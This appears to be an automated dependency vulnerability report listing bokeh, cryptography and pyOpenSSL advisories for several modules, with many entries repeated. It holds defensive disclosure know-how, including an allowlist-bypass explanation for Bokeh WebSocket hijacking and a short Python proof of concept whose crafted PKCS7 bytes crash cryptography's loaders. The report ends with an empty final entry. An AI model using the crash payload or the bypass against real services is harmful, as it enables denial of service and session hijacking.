🐛 Open Source Vulnerabilities (OSV)

20 vulnerabilities across 3 packages, affecting 3 modules.

bokeh==1.1.0
ID Fixed In Affected modules Details
GHSA-793v-589g-574v 3.8.2 web_widget_bokeh_chart
Show details
This vulnerability allows for **Cross-Site WebSocket Hijacking (CSWSH)** of a deployed Bokeh server instance. ### Scope This vulnerability is only relevant to deployed Bokeh server instances. There is no impact on static HTML output, standalone embedded plots, or Jupyter notebook usage. This vulnerability does not prevent any requirements for up-front authentication on Bokeh servers that have authentication hooks in place, and cannot be used to make Bokeh servers deployed on private, internal networks accessible outside those networks. ### Impact If a Bokeh server is configured with an allowlist (e.g., `dashboard.corp`), an attacker can register a domain like `dashboard.corp.attacker.com` (or use a subdomain if applicable) and lure a victim to visit it. The malicious site can then initiate a WebSocket connection to the vulnerable Bokeh server. Since the Origin header (e.g., `http://dashboard.corp.attacker.com/`) matches the allowlist according to the flawed logic, the connection is accepted. Once connected, the attacker can interact with the Bokeh server on behalf of the victim, potentially accessing sensitive data, or modifying visualizations. ### Patches Patched in versions 3.8.2 and later. ### Workarounds None ### Technical description The `match_host` function in `src/bokeh/server/util.py` contains a flaw in how it compares hostnames against the allowlist patterns. The function uses Python's `zip()` function to iterate over the parts of the hostname and the pattern simultaneously. However, `zip()` stops iteration when the shortest iterable is exhausted. Because the code only checks if the *pattern* is longer than the *host* (lines 232-233), but fails to check if the *host* is longer than the *pattern*, a host that **starts** with the pattern (but has additional segments) will successfully match. For example, if the allowlist is configured to `['[example.com](http://example.com/)']`, the function will incorrectly validate `[example.com.bad.com](http://example.com.evil.com/)` as a match: 1. `host` parts: `['example', 'com', 'bad', 'com']` 2. `pattern` parts: `['example', 'com']` 3. `zip` compares `example==example` (OK) and `com==com` (OK). 4. Iteration stops, and the function returns `True`.
cryptography<39
ID Fixed In Affected modules Details
GHSA-537c-gmf6-5ccf 48.0.1 l10n_es_ticketbai_api
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-r6ph-v2qm-q3c2 46.0.5 l10n_es_ticketbai_api
Show details
## Vulnerability Summary The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve. This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup. Only SECT curves are impacted by this. ## Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine
GHSA-h4gh-qq45-vh27 43.0.1 l10n_es_ticketbai_api
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 37.0.0-43.0.0 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20240903.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-5cpq-8wj7-hf2v 41.0.0 l10n_es_ticketbai_api
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-x4qr-2fvf-3mr5 39.0.1 l10n_es_ticketbai_api
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-6vqw-3v5j-54x4 42.0.4 l10n_es_ticketbai_api
Show details
If `pkcs12.serialize_key_and_certificates` is called with both: 1. A certificate whose public key did not match the provided private key 2. An `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)` Then a NULL pointer dereference would occur, crashing the Python process. This has been resolved, and now a `ValueError` is properly raised. Patched in https://github.com/pyca/cryptography/pull/10423
GHSA-3ww4-gg4f-jr7f 42.0.0 l10n_es_ticketbai_api
Show details
A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
GHSA-9v9h-cgj8-h64p 42.0.2 l10n_es_ticketbai_api
Show details
Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly. A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes() and PKCS12_newpass(). We have also fixed a similar issue in SMIME_write_PKCS7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
PYSEC-2023-254 41.0.6 l10n_es_ticketbai_api
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.
GHSA-w7pp-m8wf-vj6r 39.0.1 l10n_es_ticketbai_api
Show details
Previously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers: ```pycon >>> outbuf = b"\x00" * 32 >>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor() >>> c.update_into(b"\x00" * 16, outbuf) 16 >>> outbuf b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ``` This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
GHSA-jfhm-5ghh-2f97 41.0.6 l10n_es_ticketbai_api
Show details
### Summary Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. ### PoC Here is a Python code that triggers the issue: ```python from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) ``` ### Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
PYSEC-2023-11 39.0.1 l10n_es_ticketbai_api
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
PYSEC-2026-35 46.0.6 l10n_es_ticketbai_api
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
GHSA-jm77-qphf-c4w8 41.0.3 l10n_es_ticketbai_api
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-m959-cc7f-wv43 46.0.6 l10n_es_ticketbai_api
Show details
## Summary In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`. This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead. In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity. See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`. ## Remediation Users should upgrade to 46.0.6 or newer. ## Attribution Reporter: @1seal
GHSA-v8gr-m533-ghj9 41.0.4 l10n_es_ticketbai_api
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
PYSEC-2024-225 42.0.4 l10n_es_ticketbai_api
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Starting in version 38.0.0 and prior to version 42.0.4, if `pkcs12.serialize_key_and_certificates` is called with both a certificate whose public key did not match the provided private key and an `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`, then a NULL pointer dereference would occur, crashing the Python process. This has been resolved in version 42.0.4, the first version in which a `ValueError` is properly raised.
pyOpenSSL<23
ID Fixed In Affected modules Details
GHSA-vp96-hxj8-p424 26.0.0 letsencrypt
Show details
If a user provided callback to `set_tlsext_servername_callback` raised an unhandled exception, this would result in a connection being accepted. If a user was relying on this callback for any security-sensitive behavior, this could allow bypassing it. Unhandled exceptions now result in rejecting the connection. Credit to **Leury Castillo** for reporting this issue.
GHSA-5pwr-322w-8jr4 26.0.0 letsencrypt
Show details
If a user provided callback to `set_cookie_generate_callback` returned a cookie value greater than 256 bytes, pyOpenSSL would overflow an OpenSSL provided buffer. Cookie values that are too long are now rejected.

65 vulnerabilities across 6 packages, affecting 15 modules.

bokeh==2.3.1
ID Fixed In Affected modules Details
GHSA-793v-589g-574v 3.8.2 web_widget_bokeh_chart
Show details
This vulnerability allows for **Cross-Site WebSocket Hijacking (CSWSH)** of a deployed Bokeh server instance. ### Scope This vulnerability is only relevant to deployed Bokeh server instances. There is no impact on static HTML output, standalone embedded plots, or Jupyter notebook usage. This vulnerability does not prevent any requirements for up-front authentication on Bokeh servers that have authentication hooks in place, and cannot be used to make Bokeh servers deployed on private, internal networks accessible outside those networks. ### Impact If a Bokeh server is configured with an allowlist (e.g., `dashboard.corp`), an attacker can register a domain like `dashboard.corp.attacker.com` (or use a subdomain if applicable) and lure a victim to visit it. The malicious site can then initiate a WebSocket connection to the vulnerable Bokeh server. Since the Origin header (e.g., `http://dashboard.corp.attacker.com/`) matches the allowlist according to the flawed logic, the connection is accepted. Once connected, the attacker can interact with the Bokeh server on behalf of the victim, potentially accessing sensitive data, or modifying visualizations. ### Patches Patched in versions 3.8.2 and later. ### Workarounds None ### Technical description The `match_host` function in `src/bokeh/server/util.py` contains a flaw in how it compares hostnames against the allowlist patterns. The function uses Python's `zip()` function to iterate over the parts of the hostname and the pattern simultaneously. However, `zip()` stops iteration when the shortest iterable is exhausted. Because the code only checks if the *pattern* is longer than the *host* (lines 232-233), but fails to check if the *host* is longer than the *pattern*, a host that **starts** with the pattern (but has additional segments) will successfully match. For example, if the allowlist is configured to `['[example.com](http://example.com/)']`, the function will incorrectly validate `[example.com.bad.com](http://example.com.evil.com/)` as a match: 1. `host` parts: `['example', 'com', 'bad', 'com']` 2. `pattern` parts: `['example', 'com']` 3. `zip` compares `example==example` (OK) and `com==com` (OK). 4. Iteration stops, and the function returns `True`.
cryptography<23.2.0
ID Fixed In Affected modules Details
GHSA-r6ph-v2qm-q3c2 46.0.5 letsencrypt
Show details
## Vulnerability Summary The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve. This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup. Only SECT curves are impacted by this. ## Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine
GHSA-w7pp-m8wf-vj6r 39.0.1 letsencrypt
Show details
Previously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers: ```pycon >>> outbuf = b"\x00" * 32 >>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor() >>> c.update_into(b"\x00" * 16, outbuf) 16 >>> outbuf b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ``` This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
GHSA-jm77-qphf-c4w8 41.0.3 letsencrypt
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-jfhm-5ghh-2f97 41.0.6 letsencrypt
Show details
### Summary Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. ### PoC Here is a Python code that triggers the issue: ```python from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) ``` ### Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
PYSEC-2023-11 39.0.1 letsencrypt
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
PYSEC-2026-35 46.0.6 letsencrypt
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
PYSEC-2023-254 41.0.6 letsencrypt
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.
GHSA-3ww4-gg4f-jr7f 42.0.0 letsencrypt
Show details
A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
GHSA-m959-cc7f-wv43 46.0.6 letsencrypt
Show details
## Summary In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`. This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead. In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity. See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`. ## Remediation Users should upgrade to 46.0.6 or newer. ## Attribution Reporter: @1seal
GHSA-537c-gmf6-5ccf 48.0.1 letsencrypt
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-v8gr-m533-ghj9 41.0.4 letsencrypt
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-5cpq-8wj7-hf2v 41.0.0 letsencrypt
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-x4qr-2fvf-3mr5 39.0.1 letsencrypt
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-9v9h-cgj8-h64p 42.0.2 letsencrypt
Show details
Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly. A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes() and PKCS12_newpass(). We have also fixed a similar issue in SMIME_write_PKCS7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
cryptography<39
ID Fixed In Affected modules Details
GHSA-r6ph-v2qm-q3c2 46.0.5 l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api
Show details
## Vulnerability Summary The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve. This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup. Only SECT curves are impacted by this. ## Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine
GHSA-h4gh-qq45-vh27 43.0.1 l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 37.0.0-43.0.0 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20240903.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
PYSEC-2023-254 41.0.6 l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.
GHSA-6vqw-3v5j-54x4 42.0.4 l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api
Show details
If `pkcs12.serialize_key_and_certificates` is called with both: 1. A certificate whose public key did not match the provided private key 2. An `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)` Then a NULL pointer dereference would occur, crashing the Python process. This has been resolved, and now a `ValueError` is properly raised. Patched in https://github.com/pyca/cryptography/pull/10423
GHSA-3ww4-gg4f-jr7f 42.0.0 l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api
Show details
A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
GHSA-5cpq-8wj7-hf2v 41.0.0 l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-w7pp-m8wf-vj6r 39.0.1 l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api
Show details
Previously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers: ```pycon >>> outbuf = b"\x00" * 32 >>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor() >>> c.update_into(b"\x00" * 16, outbuf) 16 >>> outbuf b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ``` This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
GHSA-jm77-qphf-c4w8 41.0.3 l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-v8gr-m533-ghj9 41.0.4 l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-x4qr-2fvf-3mr5 39.0.1 l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-537c-gmf6-5ccf 48.0.1 l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
PYSEC-2023-11 39.0.1 l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
PYSEC-2026-35 46.0.6 l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
GHSA-m959-cc7f-wv43 46.0.6 l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api
Show details
